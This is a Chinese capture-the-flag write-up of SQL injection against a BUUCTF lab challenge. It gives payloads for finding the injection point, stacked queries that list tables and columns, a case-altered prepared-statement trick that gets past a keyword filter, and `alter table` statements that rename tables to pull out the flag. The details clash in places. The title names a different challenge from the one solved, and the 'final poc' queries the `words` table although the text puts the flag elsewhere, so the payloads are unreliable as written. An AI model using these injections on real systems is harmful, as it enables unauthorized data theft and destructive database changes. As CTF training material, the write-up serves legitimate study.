BUUCTF_Web_[极客大挑战 2019]EasySQL 1

BUUCTF_Web_[极客大挑战 2019]EasySQL 1

	新建靶机后,访问网页可以看到如下

BUUCTF_Web_[极客大挑战 2019]EasySQL 1_第1张图片

1.测试注入

	1. 
		1'		  				//报错
		1' or 1=1#				//正常
	存在注入点
	2.
		1' order by 2#			//判断列数
	3.
		1'union select 1,version()# 	//尝试联合注入
		回显:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
		发现select等被过滤,在尝试sel/**/ect,Select,sel%0bect等绕过无果后,
(脏数据未尝试).借鉴wp: 堆叠注入
	堆叠获取信息:
		1'; show tables;#获取表名
			array(1) {	
 			 [0]=>
			  string(16) "1919810931114514"
			}

			array(1) {
			  [0]=>
			  string(5) "words"
			}
		1';desc `1919810931114514`;desc `words`;#查看列名
			返回信息中可知flag在1919810931114514表中
		法一: 知乎大佬wp
			预编译查询
			set xxx用于设置变量名和值
			prepare xxx 用于预备一个语句,并赋予名称,以后可以引用该语句
			execute xxx执行语句
			deallocate prepare用来释放掉预处理的语句
		poc:
			1';set @demo=concat('sele','ct * from `1919810931114514`');pre
		pare demo from @demo;execute demo;#
			回显strstr($inject, "set") && strstr($inject, "prepare")
		strstr是危险函数,可大小写绕过.将set,prepare里边随便替换一个大写字母即可
		最终poc:
			1';Set @demo=concat('sele','ct * from `words`');
		Prepare demo from @demo;execute demo;#
		法二:
			替换数据表名,利用or 1=1# 直接拽取
			1'; alter table words rename to words1;alter table 
`1919810931114514` rename to words;alter table words change flag id 
varchar(50);#

BUUCTF_Web_[极客大挑战 2019]EasySQL 1_第2张图片

你可能感兴趣的:(BUUCTF)